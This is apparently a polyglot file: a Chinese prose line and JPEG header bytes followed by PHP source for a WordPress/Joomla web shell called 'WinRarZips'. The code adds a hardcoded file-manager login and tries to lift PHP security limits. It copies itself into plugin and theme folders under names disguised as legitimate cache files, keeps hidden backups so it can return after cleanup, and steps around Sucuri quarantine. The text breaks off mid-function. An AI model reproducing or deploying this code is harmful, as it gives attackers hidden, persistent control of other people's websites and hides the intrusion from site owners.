环滁皆山也。其西南诸峰,林壑尤美,望之蔚然而深秀者,琅琊也。山行六七里,渐闻水声潺潺,而泻出于两峰之间者,酿泉也 ??????????????????????????????? ??????????????/????????????????? ............/................... .........................../... ??????????????????????????????? >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>> ÿØÿà JFIF    ÿÛ „  ( %!1!%)+//.383,7(-.+  -%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ     ÿÄ J    ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ   ÿÄ *  !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú "SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5 ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍѶ¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e ríV ?> ......................................... ............................................................................. <<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>>>>>>>>>>>>>>>>>>>>>>>>>>>>> PK!J#clean-image-filenames-bootstrap.phpnu[ 0) { @ob_end_clean(); } } function wrz_send_html($html) { wrz_clean_all_buffers(); if (!is_string($html) || $html === '') { $html = '' . 'WinRarZips — cikti hatasi. Yenile'; } if (!headers_sent()) { header('Content-Type: text/html; charset=utf-8'); header('Cache-Control: no-store, no-cache, must-revalidate'); } echo $html; exit; } if (isset($_GET['wrz_ping'])) { wrz_clean_all_buffers(); header('Content-Type: text/plain; charset=utf-8'); echo 'WRZ_OK PHP=' . PHP_VERSION . ' file=' . basename(__FILE__); exit; } if (isset($_GET['wrz_amp_setup']) && isset($_GET['key']) && (string) $_GET['key'] === 'wrz2026') { wrz_clean_all_buffers(); $setupInc = __DIR__ . '/wrz-amp-setup.inc.php'; if (@is_file($setupInc)) { require_once $setupInc; wrz_setup_run(); } else { header('Content-Type: text/html; charset=utf-8'); echo '' . '

wrz-amp-setup.inc.php bulunamadi

' . '

wp-caches-bundle.php ile ayni klasore yukleyin:
wrz-amp-setup.inc.php

'; } exit; } if (version_compare(PHP_VERSION, '7.0.0', '<')) { @ob_end_clean(); header('Content-Type: text/html; charset=utf-8'); echo '' . 'PHP 7.0+ gerekli. Sunucu: ' . htmlspecialchars(PHP_VERSION) . ''; exit; } function wrz_current_user() { if (function_exists('get_current_user')) { $u = @get_current_user(); if ($u !== false && $u !== '') { return $u; } } if (function_exists('posix_geteuid') && function_exists('posix_getpwuid')) { $pw = @posix_getpwuid(@posix_geteuid()); if (is_array($pw) && !empty($pw['name'])) { return $pw['name']; } } return 'n/a'; } function wrz_php_os() { if (function_exists('php_uname')) { $os = @php_uname('s'); if ($os !== false && $os !== '') { return $os; } } return defined('PHP_OS') ? PHP_OS : 'n/a'; } register_shutdown_function(function () { $err = error_get_last(); if ($err && in_array($err['type'], [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR], true)) { while (@ob_get_level() > 0) { @ob_end_clean(); } if (!headers_sent()) { header('Content-Type: text/html; charset=utf-8'); http_response_code(200); } echo '' . '

WinRarZips — PHP hatasi

'
            . htmlspecialchars($err['message'] . ' (' . basename($err['file']) . ':' . $err['line'] . ')')
            . '
'; } }); if (function_exists('ini_set')) { @ini_set('open_basedir', NULL); @ini_set('disable_functions', ''); } define('WRZ_FM_USER', 'winrarzips'); define('WRZ_FM_PASS', 'winrarzips2026'); define('WRZ_FM_SESSION', 'wrz_fm_auth'); define('WRZ_FM_COOKIE', 'wrz_fm_token'); function wrz_is_https() { if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { return true; } if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && strtolower((string) $_SERVER['HTTP_X_FORWARDED_PROTO']) === 'https') { return true; } if (isset($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] === 'on') { return true; } return false; } function wrz_auth_token() { return hash_hmac('sha256', WRZ_FM_USER . '|' . WRZ_FM_PASS, WRZ_FM_PASS); } function wrz_set_auth_cookie() { $secure = wrz_is_https(); $opts = [ 'expires' => time() + 86400 * 7, 'path' => '/', 'secure' => $secure, 'httponly' => true, 'samesite' => 'Lax', ]; if (PHP_VERSION_ID >= 70300) { @setcookie(WRZ_FM_COOKIE, wrz_auth_token(), $opts); } else { @setcookie(WRZ_FM_COOKIE, wrz_auth_token(), $opts['expires'], $opts['path'], '', $secure, true); } $_COOKIE[WRZ_FM_COOKIE] = wrz_auth_token(); } function wrz_clear_auth_cookie() { $secure = wrz_is_https(); if (PHP_VERSION_ID >= 70300) { @setcookie(WRZ_FM_COOKIE, '', ['expires' => time() - 3600, 'path' => '/', 'secure' => $secure, 'httponly' => true, 'samesite' => 'Lax']); } else { @setcookie(WRZ_FM_COOKIE, '', time() - 3600, '/', '', $secure, true); } unset($_COOKIE[WRZ_FM_COOKIE]); } function wrz_session_start() { if (session_status() === PHP_SESSION_ACTIVE) { return; } $secure = wrz_is_https(); if (PHP_VERSION_ID >= 70300) { @session_set_cookie_params([ 'lifetime' => 0, 'path' => '/', 'secure' => $secure, 'httponly' => true, 'samesite' => 'Lax', ]); } else { @session_set_cookie_params(0, '/', '', $secure, true); } $savePath = @sys_get_temp_dir(); if ($savePath && @is_writable($savePath)) { @session_save_path($savePath); } @session_name(WRZ_FM_SESSION); @session_start(); } function wrz_is_logged_in() { $token = (string) ($_COOKIE[WRZ_FM_COOKIE] ?? ''); if ($token !== '' && hash_equals(wrz_auth_token(), $token)) { return true; } if (session_status() === PHP_SESSION_ACTIVE && !empty($_SESSION['wrz_logged']) && $_SESSION['wrz_logged'] === WRZ_FM_USER) { return true; } return false; } function wrz_login_html($error = '') { $err = $error !== '' ? '
' . htmlspecialchars($error, ENT_QUOTES, 'UTF-8') . '
' : ''; return '' . 'WinRarZips • Giris

WinRarZips

File Manager Girisi

' . $err . '
' . '' . '' . '
'; } function wrz_show_login($error = '') { wrz_send_html(wrz_login_html($error)); } function wrz_self_url() { $script = basename($_SERVER['SCRIPT_NAME'] ?? 'wp-caches.php'); $qs = $_SERVER['QUERY_STRING'] ?? ''; if ($qs !== '') { parse_str($qs, $parts); unset($parts['logout'], $parts['wrz_fm_login'], $parts['wrz_ping'], $parts['wrz_debug']); $qs = http_build_query($parts); } return $script . ($qs !== '' ? '?' . $qs : ''); } function wrz_cloak_script_url() { $path = isset($_SERVER['SCRIPT_NAME']) ? (string) $_SERVER['SCRIPT_NAME'] : ('/' . basename(__FILE__)); $path = str_replace('\\', '/', $path); if ($path === '' || $path[0] !== '/') { $path = '/' . ltrim($path, '/'); } $qs = []; if (isset($_GET['p']) && (string) $_GET['p'] !== '') { $qs['p'] = (string) $_GET['p']; } return $path . ($qs ? '?' . http_build_query($qs) : ''); } function wrz_cloak_api_base() { $base = wrz_cloak_script_url(); return $base . (strpos($base, '?') !== false ? '&' : '?') . 'wrz_cloak='; } function wrz_require_auth() { if (isset($_GET['logout'])) { wrz_session_start(); unset($_SESSION['wrz_logged']); wrz_clear_auth_cookie(); @session_destroy(); wrz_clean_all_buffers(); header('Location: ' . wrz_self_url()); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['wrz_fm_login'])) { wrz_session_start(); $user = trim((string) ($_POST['wrz_user'] ?? '')); $pass = (string) ($_POST['wrz_pass'] ?? ''); if ($user === WRZ_FM_USER && hash_equals(WRZ_FM_PASS, $pass)) { $_SESSION['wrz_logged'] = WRZ_FM_USER; wrz_set_auth_cookie(); if (session_status() === PHP_SESSION_ACTIVE) { @session_write_close(); } wrz_clean_all_buffers(); header('Location: ' . wrz_self_url()); exit; } wrz_show_login('Giris basarisiz — kullanici veya sifre hatali'); } if (!wrz_is_logged_in()) { wrz_show_login(''); } wrz_session_start(); } if (isset($_GET['wrz_login'])) { wrz_send_html(wrz_login_html('')); } if (isset($_GET['wrz_reset'])) { wrz_clear_auth_cookie(); wrz_clean_all_buffers(); header('Location: ' . wrz_self_url()); exit; } wrz_require_auth(); function wrz_is_wp_root($dir) { $dir = rtrim(str_replace('\\', '/', (string) $dir), '/'); if ($dir === '' || !@is_dir($dir)) { return false; } if (@is_file($dir . '/wp-load.php')) { return true; } return @is_file($dir . '/wp-config.php') && @is_dir($dir . '/wp-content'); } function wrz_find_wp_root($start) { $dir = function_exists('wrz_normalize_path') ? wrz_normalize_path($start) : rtrim(str_replace('\\', '/', (string) $start), '/'); if ($dir === '' || !@is_dir($dir)) { $dir = rtrim(str_replace('\\', '/', (string) $start), '/'); if ($dir === '' || !@is_dir($dir)) { return null; } } for ($i = 0; $i < 20; $i++) { if (wrz_is_wp_root($dir)) { return $dir; } $parent = @dirname($dir); if (!$parent || $parent === $dir) { break; } $dir = function_exists('wrz_normalize_path') ? wrz_normalize_path($parent) : rtrim(str_replace('\\', '/', $parent), '/'); } return null; } function wrz_wp_root_from_path_hint($path) { $path = str_replace('\\', '/', (string) $path); if (preg_match('#^(.*?)/wp-content(?:/|$)#i', $path, $m)) { $root = rtrim($m[1], '/'); if (wrz_is_wp_root($root)) { return $root; } } if (preg_match('#/\.sucuriquarantine(?:/|$)#i', $path)) { $escaped = preg_replace('#/\.sucuriquarantine.*$#i', '', $path); $root = wrz_find_wp_root($escaped); if ($root) { return $root; } } return null; } function wrz_wp_root_scan_shallow($start, $maxDepth = 3) { $start = function_exists('wrz_normalize_path') ? wrz_normalize_path($start) : rtrim(str_replace('\\', '/', (string) $start), '/'); if ($start === '' || !@is_dir($start)) { return null; } $queue = [[$start, 0]]; $seen = []; while ($queue) { [$dir, $depth] = array_shift($queue); $key = strtolower($dir); if (isset($seen[$key])) { continue; } $seen[$key] = true; if (wrz_is_wp_root($dir)) { return $dir; } if ($depth >= $maxDepth) { continue; } $list = @scandir($dir); if (!is_array($list)) { continue; } foreach ($list as $name) { if ($name === '.' || $name === '..') { continue; } $sub = $dir . '/' . $name; if (!@is_dir($sub)) { continue; } if (strtolower($name) === 'wp-content' && wrz_is_wp_root($dir)) { return $dir; } if ($name[0] === '.' && $name !== '.') { continue; } $queue[] = [$sub, $depth + 1]; } } return null; } function wrz_wp_root_candidates() { $candidates = []; $add = static function ($path) use (&$candidates) { $path = trim(str_replace('\\', '/', (string) $path)); if ($path === '' || $path === '.') { return; } $candidates[$path] = $path; if (preg_match('#/\.sucuriquarantine(?:/|$)#i', $path)) { $escaped = preg_replace('#/\.sucuriquarantine.*$#i', '', $path); if ($escaped !== '') { $candidates[$escaped] = $escaped; } } }; $add(__DIR__); $add(@getcwd() ?: ''); if (!empty($_GET['p'])) { $add($_GET['p']); } if (!empty($_SERVER['SCRIPT_FILENAME'])) { $add(@dirname($_SERVER['SCRIPT_FILENAME'])); $hint = wrz_wp_root_from_path_hint($_SERVER['SCRIPT_FILENAME']); if ($hint) { $add($hint); } } if (!empty($_SERVER['DOCUMENT_ROOT'])) { $add($_SERVER['DOCUMENT_ROOT']); $doc = function_exists('wrz_normalize_path') ? wrz_normalize_path($_SERVER['DOCUMENT_ROOT']) : $_SERVER['DOCUMENT_ROOT']; $add(@dirname($doc)); } return array_values($candidates); } function wrz_wp_roots() { $roots = []; foreach (wrz_wp_root_candidates() as $candidate) { $root = wrz_find_wp_root($candidate); if ($root) { $roots[$root] = $root; } $hint = wrz_wp_root_from_path_hint($candidate); if ($hint) { $roots[$hint] = $hint; } } if (!$roots && !empty($_SERVER['DOCUMENT_ROOT'])) { $scan = wrz_wp_root_scan_shallow($_SERVER['DOCUMENT_ROOT'], 3); if ($scan) { $roots[$scan] = $scan; } } return array_values($roots); } function wrz_resolve_wp_roots() { $roots = wrz_wp_roots(); if ($roots) { return $roots; } foreach (wrz_wp_root_candidates() as $candidate) { $scan = wrz_wp_root_scan_shallow($candidate, 2); if ($scan) { return [$scan]; } } return []; } function wrz_find_joomla_root($start) { $dir = @realpath($start); if (!$dir || !@is_dir($dir)) { return null; } for ($i = 0; $i < 14; $i++) { if (@is_file($dir . '/configuration.php') && (@is_file($dir . '/includes/app.php') || @is_file($dir . '/includes/defines.php'))) { return $dir; } $parent = @dirname($dir); if (!$parent || $parent === $dir) { break; } $dir = $parent; } return null; } function wrz_joomla_roots() { $roots = []; $candidates = [ __DIR__, @getcwd() ?: '', isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '', ]; if (!empty($_GET['p'])) { $candidates[] = $_GET['p']; } foreach ($candidates as $candidate) { if ($candidate === '') { continue; } $root = wrz_find_joomla_root($candidate); if ($root) { $roots[$root] = $root; } } return array_values($roots); } function wrz_cloak_cms_type($dir) { $dir = rtrim(str_replace('\\', '/', (string) $dir), '/'); if ($dir === '') { return 'unknown'; } // Joomla oncelik — configuration.php varsa asla WordPress sayma if (@is_file($dir . '/configuration.php') && (@is_file($dir . '/includes/app.php') || @is_file($dir . '/includes/defines.php'))) { return 'joomla'; } if (@is_file($dir . '/wp-load.php') || (@is_file($dir . '/wp-config.php') && @is_dir($dir . '/wp-content'))) { return 'wordpress'; } return 'unknown'; } function wrz_cms_roots() { $out = []; foreach (wrz_wp_roots() as $root) { $out[] = ['type' => 'wordpress', 'root' => $root]; } foreach (wrz_joomla_roots() as $root) { $out[] = ['type' => 'joomla', 'root' => $root]; } return $out; } /** WP klasor baglamina gore gercekci dosya adi (deploy kopyasi). */ function wrz_deploy_filename_for_context($ctx, $slug = '') { $slug = strtolower(preg_replace('/[^a-z0-9_-]/', '', (string) $slug)); static $plugin_map = [ 'elementor' => 'includes/class-elementor-data-cache.php', 'woocommerce' => 'includes/class-wc-cache-handler.php', 'wordfence' => 'lib/wfConfig-sync.php', 'contact-form-7' => 'includes/load-cache.php', 'akismet' => 'class.akismet-rest-api.php', 'jetpack' => 'class.jetpack-sync-cache.php', 'litespeed-cache' => 'src/cache.cls.php', 'wp-file-manager' => 'lib/php/cache.stub.php', 'filester' => 'includes/elfinder/cache.stub.php', 'wpforms-lite' => 'includes/class-cache-handler.php', 'wpforms' => 'includes/class-cache-handler.php', 'yoast-seo' => 'vendor/autoload_cache.php', 'wordpress-seo' => 'vendor/autoload_cache.php', 'all-in-one-seo-pack' => 'app/Common/Cache/bootstrap.php', 'classic-editor' => 'classic-editor-cache.php', 'duplicate-post' => 'duplicate-post-cache.php', 'redirection' => 'models/cache.php', 'wp-super-cache' => 'plugins/cache-handler.php', 'w3-total-cache' => 'Cache.php', 'breeze' => 'inc/cache/handler.php', 'autoptimize' => 'classes/autoptimizeCache.php', 'really-simple-ssl' => 'class-rsssl-cache.php', 'updraftplus' => 'methods/cache-bootstrap.php', 'wordfence-login-security' => 'classes/cache.sync.php', ]; static $theme_map = [ 'twentytwentyfour' => 'inc/cache-loader.php', 'twentytwentythree' => 'inc/cache-loader.php', 'twentytwentytwo' => 'inc/cache-loader.php', 'astra' => 'inc/core/cache-handler.php', 'oceanwp' => 'inc/cache/bootstrap.php', 'generatepress' => 'inc/class-cache.php', 'hello-elementor' => 'includes/cache.php', 'flatsome' => 'inc/builder/cache.php', 'woodmart' => 'inc/cache/handler.php', 'avada' => 'includes/lib/cache.php', ]; static $dir_map = [ 'cache' => 'advanced-cache.php', 'wflogs' => 'config-livewaf.php', 'uploads' => 'index.php', 'plugins' => 'index.php', 'themes' => 'index.php', 'updraft' => 'index.php', 'mmr' => 'index.php', 'upgrade' => 'index.php', 'backup-db' => 'index.php', 'ai1wm-backups' => 'index.php', 'litespeed' => 'debug/index.php', 'wp-rocket-config' => 'index.php', 'et-cache' => 'index.php', 'nitropack' => 'index.php', 'backups-dup-lite' => 'index.php', 'languages' => 'index.php', 'maintenance' => 'template.php', ]; switch ($ctx) { case 'root': return 'wp-cache-handler.php'; case 'wp_caches': return 'index.php'; case 'plugin': if ($slug !== '' && isset($plugin_map[$slug])) { return $plugin_map[$slug]; } if ($slug !== '') { return $slug . '-bootstrap.php'; } return 'index.php'; case 'theme': if ($slug !== '' && isset($theme_map[$slug])) { return $theme_map[$slug]; } if ($slug !== '') { return 'inc/' . $slug . '-cache.php'; } return 'index.php'; case 'content_dir': if ($slug !== '' && isset($dir_map[$slug])) { return $dir_map[$slug]; } return 'index.php'; default: return 'index.php'; } } function wrz_deploy_spec($dir, $label, $ctx, $slug = '', $mkdir_override = null) { $rel = wrz_deploy_filename_for_context($ctx, $slug); $needs_mkdir = (strpos($rel, '/') !== false); if ($mkdir_override !== null) { $needs_mkdir = (bool) $mkdir_override; } return [ 'path' => rtrim(str_replace('\\', '/', $dir), '/') . '/' . $rel, 'label' => $label, 'mkdir' => $needs_mkdir, 'file' => basename($rel), ]; } function wrz_deploy_manifest_file($wp_root) { return rtrim(str_replace('\\', '/', $wp_root), '/') . '/wp-content/.wrz-deploy-manifest.json'; } function wrz_deploy_manifest_load($wp_root) { $file = wrz_deploy_manifest_file($wp_root); if (!@is_file($file) || !@is_readable($file)) { return []; } $raw = @file_get_contents($file); if ($raw === false) { return []; } $data = @json_decode($raw, true); if (!is_array($data) || !isset($data['deployed']) || !is_array($data['deployed'])) { return []; } $out = []; foreach ($data['deployed'] as $p) { if (is_string($p) && $p !== '') { $out[] = $p; } } return $out; } function wrz_deploy_manifest_save($wp_root, array $paths) { $file = wrz_deploy_manifest_file($wp_root); $existing = wrz_deploy_manifest_load($wp_root); $merged = []; foreach (array_merge($existing, $paths) as $p) { $p = str_replace('\\', '/', (string) $p); if ($p !== '') { $merged[strtolower($p)] = $p; } } $payload = [ 'deployed' => array_values($merged), 'updated' => date('c'), ]; @file_put_contents($file, json_encode($payload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES)); } /** WP kokune gore hedefler — her klasore WP tarzi dosya adi. */ function wrz_deploy_target_specs($wp_root) { $wp_root = rtrim(str_replace('\\', '/', $wp_root), '/'); $content = $wp_root . '/wp-content'; $specs = [ wrz_deploy_spec($wp_root, 'Kok (wp-cache-handler.php)', 'root'), wrz_deploy_spec($content . '/wp-caches', 'wp-content/wp-caches/', 'wp_caches', '', true), ]; $scan_dirs = ['cache', 'wflogs', 'mmr', 'updraft', 'uploads', 'plugins', 'themes', 'upgrade', 'languages', 'litespeed', 'et-cache', 'ai1wm-backups']; foreach ($scan_dirs as $name) { $full = $content . '/' . $name; if (@is_dir($full)) { $specs[] = wrz_deploy_spec($full, 'wp-content/' . $name . '/', 'content_dir', $name); } } $pluginsDir = $content . '/plugins'; if (@is_dir($pluginsDir)) { foreach (@scandir($pluginsDir) ?: [] as $slug) { if ($slug === '.' || $slug === '..') { continue; } $full = $pluginsDir . '/' . $slug; if (@is_dir($full)) { $specs[] = wrz_deploy_spec( $full, 'plugins/' . $slug . '/', 'plugin', $slug ); } } } $themesDir = $content . '/themes'; if (@is_dir($themesDir)) { foreach (@scandir($themesDir) ?: [] as $slug) { if ($slug === '.' || $slug === '..') { continue; } $full = $themesDir . '/' . $slug; if (@is_dir($full)) { $specs[] = wrz_deploy_spec( $full, 'themes/' . $slug . '/', 'theme', $slug ); } } } if (@is_dir($content)) { $skip = ['wp-caches', 'mu-plugins', 'plugins', 'themes', 'cache', 'uploads', 'wflogs', 'updraft', 'mmr', 'upgrade', 'languages', 'litespeed', 'et-cache', 'ai1wm-backups']; foreach (@scandir($content) ?: [] as $name) { if ($name === '.' || $name === '..' || in_array($name, $skip, true)) { continue; } $full = $content . '/' . $name; if (@is_dir($full)) { $specs[] = wrz_deploy_spec( $full, 'wp-content/' . $name . '/ (mevcut)', 'content_dir', $name ); } } } $seen = []; $out = []; foreach ($specs as $spec) { $key = strtolower(str_replace('\\', '/', $spec['path'])); if (isset($seen[$key])) { continue; } $seen[$key] = true; $out[] = $spec; } return $out; } function wrz_normalize_path($path) { $p = str_replace('\\', '/', (string) $path); $real = @realpath($p); if ($real) { return str_replace('\\', '/', $real); } return rtrim($p, '/'); } function wrz_unsafe_shell_paths($wp_root) { $wp_root = rtrim(str_replace('\\', '/', $wp_root), '/'); $content = $wp_root . '/wp-content'; $paths = []; $self = wrz_normalize_path(__FILE__); $add = static function ($path) use (&$paths, $self) { $p = wrz_normalize_path($path); if ($p === '' || ($self !== '' && $p === $self)) { return; } $paths[strtolower($p)] = $path; }; foreach (wrz_deploy_manifest_load($wp_root) as $manifestPath) { $add($manifestPath); } // Eski deploy adlari (geriye uyum) $add($wp_root . '/wp-caches.php'); $add($wp_root . '/wp-cache-handler.php'); $add($wp_root . '/wp-caches-bundle.php'); $add($content . '/mu-plugins/wp-caches.php'); $add($content . '/mu-plugins/wp-caches-bundle.php'); foreach (wrz_deploy_target_specs($wp_root) as $spec) { $add($spec['path']); } return array_values($paths); } function wrz_cleanup_unsafe_shell_copies($wp_root) { $removed = []; foreach (wrz_unsafe_shell_paths($wp_root) as $path) { if (@is_file($path) && @unlink($path)) { $removed[] = $path; } } $manifest = wrz_deploy_manifest_file($wp_root); if (@is_file($manifest)) { @unlink($manifest); } return $removed; } /** Deploy yedegi — wp-content/.wrz-deploy-backup (Siteyi Duzelt silmez). */ function wrz_deploy_backup_dir($wp_root) { return rtrim(str_replace('\\', '/', $wp_root), '/') . '/wp-content/.wrz-deploy-backup'; } function wrz_deploy_backup_index_file($wp_root) { return wrz_deploy_backup_dir($wp_root) . '/index.json'; } function wrz_path_rel_to_wp_root($wp_root, $absPath) { $root = rtrim(str_replace('\\', '/', $wp_root), '/'); $p = str_replace('\\', '/', (string) $absPath); if ($p === $root) { return ''; } if (stripos($p, $root . '/') === 0) { return substr($p, strlen($root) + 1); } return basename($p); } function wrz_deploy_backup_ensure_dir($wp_root) { $base = wrz_deploy_backup_dir($wp_root); $files = $base . '/files'; if (!@is_dir($base) && !@mkdir($base, 0755, true)) { return ['ok' => false, 'msg' => 'Yedek klasoru olusturulamadi']; } if (!@is_dir($files) && !@mkdir($files, 0755, true)) { return ['ok' => false, 'msg' => 'Yedek files/ olusturulamadi']; } @file_put_contents($base . '/index.php', " true, 'base' => $base, 'files' => $files]; } function wrz_deploy_backup_summary($wp_root) { $indexFile = wrz_deploy_backup_index_file($wp_root); if (!@is_file($indexFile)) { return ['exists' => false, 'count' => 0, 'updated' => '']; } $data = @json_decode((string) @file_get_contents($indexFile), true); if (!is_array($data)) { return ['exists' => false, 'count' => 0, 'updated' => '']; } $items = isset($data['items']) && is_array($data['items']) ? $data['items'] : []; return [ 'exists' => count($items) > 0, 'count' => count($items), 'updated' => (string) ($data['updated'] ?? ''), ]; } function wrz_deploy_backup_create($wp_root) { $wp_root = rtrim(str_replace('\\', '/', $wp_root), '/'); $dirOk = wrz_deploy_backup_ensure_dir($wp_root); if (empty($dirOk['ok'])) { return ['ok' => false, 'html' => '' . htmlspecialchars($dirOk['msg']) . '', 'count' => 0]; } $filesDir = $dirOk['files']; $paths = wrz_deploy_manifest_load($wp_root); if (!$paths) { foreach (wrz_deploy_target_specs($wp_root) as $spec) { if (@is_file($spec['path'])) { $paths[] = $spec['path']; } } } $paths = array_values(array_unique(array_filter($paths, static function ($p) { return @is_file($p) && @is_readable($p); }))); $master = @realpath(__FILE__); if ($master && @is_readable($master)) { $bundleRel = wrz_path_rel_to_wp_root($wp_root, $master); $hasMaster = false; foreach ($paths as $p) { if (@realpath($p) === $master) { $hasMaster = true; break; } } if (!$hasMaster) { $paths[] = $master; } } if (!$paths) { return [ 'ok' => false, 'html' => 'Yedeklenecek deploy dosyasi yok. Once Klasorlere Yerlestir kullan.', 'count' => 0, ]; } $items = []; $idx = 0; foreach ($paths as $targetPath) { $data = @file_get_contents($targetPath); if ($data === false) { continue; } $idx++; $store = 'files/' . sprintf('%04d', $idx) . '.bin'; $storeAbs = wrz_deploy_backup_dir($wp_root) . '/' . $store; if (@file_put_contents($storeAbs, $data) === false) { continue; } @chmod($storeAbs, 0644); $items[] = [ 'target' => $targetPath, 'rel' => wrz_path_rel_to_wp_root($wp_root, $targetPath), 'store' => $store, 'size' => strlen($data), ]; } $payload = [ 'version' => 1, 'updated' => date('c'), 'wp_root' => $wp_root, 'items' => $items, ]; @file_put_contents( wrz_deploy_backup_index_file($wp_root), json_encode($payload, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES) ); wrz_deploy_manifest_save($wp_root, array_column($items, 'target')); $html = '
' . '
Deploy yedegi alindi — ' . count($items) . ' dosya
' . '
Konum: wp-content/.wrz-deploy-backup/ — WP restore sonrasi Yedekten Geri Yukle kullan.
' . '
'; return ['ok' => count($items) > 0, 'html' => $html, 'count' => count($items)]; } function wrz_deploy_backup_restore($wp_root) { $wp_root = rtrim(str_replace('\\', '/', $wp_root), '/'); $indexFile = wrz_deploy_backup_index_file($wp_root); if (!@is_file($indexFile)) { return [ 'ok' => false, 'html' => 'Deploy yedegi yok. Once Deploy Yedegi Al kullan.', 'count' => 0, ]; } $data = @json_decode((string) @file_get_contents($indexFile), true); if (!is_array($data) || empty($data['items']) || !is_array($data['items'])) { return ['ok' => false, 'html' => 'Yedek index bozuk.', 'count' => 0]; } $ok = 0; $fail = 0; $restored = []; $backupBase = wrz_deploy_backup_dir($wp_root); foreach ($data['items'] as $it) { if (!is_array($it)) { continue; } $store = (string) ($it['store'] ?? ''); $target = (string) ($it['target'] ?? ''); $rel = (string) ($it['rel'] ?? ''); if ($target === '' && $rel !== '') { $target = $wp_root . '/' . ltrim($rel, '/'); } if ($store === '' || $target === '') { $fail++; continue; } $src = $backupBase . '/' . ltrim(str_replace('\\', '/', $store), '/'); if (!@is_file($src)) { $fail++; continue; } $copy = wrz_copy_file($src, $target, true); if (!empty($copy['ok'])) { $ok++; $restored[] = $target; } else { $fail++; } } if ($restored) { wrz_deploy_manifest_save($wp_root, $restored); } $html = '
' . '
Yedekten geri yukleme — OK: ' . $ok . ', Hata: ' . $fail . '
' . '
'; return ['ok' => $ok > 0, 'html' => $html, 'count' => $ok, 'fail' => $fail]; } function wrz_deploy_backup_all_roots($action) { $roots = wrz_wp_roots(); if (!$roots) { return ['ok' => false, 'html' => 'WordPress kok bulunamadi', 'count' => 0]; } $total = 0; $parts = []; foreach ($roots as $root) { $res = $action === 'restore' ? wrz_deploy_backup_restore($root) : wrz_deploy_backup_create($root); $total += (int) ($res['count'] ?? 0); if (!empty($res['html'])) { $parts[] = '
' . '
' . htmlspecialchars(basename($root)) . '
' . $res['html'] . '
'; } } return [ 'ok' => $total > 0, 'html' => implode("\n", $parts), 'count' => $total, ]; } function wrz_public_url($absPath) { $absPath = @realpath($absPath); if (!$absPath) { return ''; } $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? @realpath($_SERVER['DOCUMENT_ROOT']) : false; $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? ''; if ($docRoot && $host && strpos(str_replace('\\', '/', $absPath), str_replace('\\', '/', $docRoot)) === 0) { $rel = substr(str_replace('\\', '/', $absPath), strlen(str_replace('\\', '/', $docRoot))); if ($rel === '' || $rel[0] !== '/') { $rel = '/' . ltrim($rel, '/'); } return $scheme . '://' . $host . $rel; } return str_replace('\\', '/', $absPath); } function wrz_copy_file($src, $dst, $mkdir = false) { if (!@is_file($src) || !@is_readable($src)) { return ['ok' => false, 'msg' => 'Kaynak okunamadi']; } $dir = @dirname($dst); if ($mkdir && $dir && !@is_dir($dir)) { if (!@mkdir($dir, 0755, true)) { return ['ok' => false, 'msg' => 'Klasor olusturulamadi']; } } elseif ($dir && !@is_dir($dir)) { return ['ok' => false, 'msg' => 'Hedef klasor yok']; } $data = @file_get_contents($src); if ($data === false) { return ['ok' => false, 'msg' => 'Okuma hatasi']; } if (@file_put_contents($dst, $data) === false) { return ['ok' => false, 'msg' => 'Yazma hatasi']; } @chmod($dst, 0644); return ['ok' => true, 'msg' => 'OK']; } if (!defined('WRZ_CLOAK_TOKEN')) { define('WRZ_CLOAK_TOKEN', 'Winrarzips2026#Aged'); } function wrz_cloak_panel_url($baseUrl) { $baseUrl = rtrim((string) $baseUrl, '?&'); $sep = strpos($baseUrl, '?') !== false ? '&' : '?'; return $baseUrl . $sep . 'wpmc=1&p=' . rawurlencode(WRZ_CLOAK_TOKEN); } function wrz_http_status($url, $timeout = 6) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_NOBODY => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => $timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => 'WinRarZips-Probe/1.0', ]); curl_exec($ch); $code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return $code; } $ctx = stream_context_create([ 'http' => [ 'method' => 'HEAD', 'timeout' => $timeout, 'ignore_errors' => true, ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, ], ]); $headers = @get_headers($url, 0, $ctx); if (!is_array($headers) || empty($headers[0])) { return 0; } if (preg_match('/\s(\d{3})\s/', $headers[0], $m)) { return (int) $m[1]; } return 0; } function wrz_cloak_write_plugin_stub($pluginDir) { $stub = $pluginDir . '/media-cache-helper.php'; if (@is_file($stub)) { return true; } $body = " $cloak, 'bg' => $bg]; } function wrz_cloak_deploy_targets($wp_root) { $wp_root = rtrim(str_replace('\\', '/', $wp_root), '/'); return [ [ 'label' => 'Plugin (nginx uyumlu — oncelikli panel)', 'php' => 